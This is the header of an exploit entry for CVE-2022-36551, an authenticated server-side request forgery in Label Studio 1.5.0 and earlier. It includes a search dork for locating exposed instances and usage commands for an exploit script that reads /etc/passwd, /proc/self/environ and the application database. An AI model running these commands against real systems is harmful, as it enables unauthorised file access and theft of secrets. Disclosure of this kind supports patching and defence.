# Exploit Title: Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF)
# Google Dork: intitle:"Label Studio" intext:"Sign Up" intext:"Welcome to Label Studio Community Edition"
# Date: 2022-10-03
# Exploit Author: @DeveloperNinja, [email protected]
# Vendor Homepage: https://github.com/heartexlabs/label-studio, https://labelstud.io/
# Software Link: https://github.com/heartexlabs/label-studio/releases
# Version: <=1.5.0
# CVE : CVE-2022-36551
# Docker Container: heartexlabs/label-studio

# Server Side Request Forgery (SSRF) in the Data Import module in Heartex - Label Studio Community Edition
# versions 1.5.0 and earlier allows an authenticated user to access arbitrary files on the system.
# Furthermore, self-registration is enabled by default in these versions of Label Studio enabling a remote
# attacker to create a new account and then exploit the SSRF.

#
# This exploit has been tested on Label Studio 1.5.0
#

# Exploit Usage Examples (replace with your target details):
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /etc/passwd
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /proc/self/environ
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /label-studio/data/label_studio.sqlite3 --out label_studio.sqlite3.sqlite3
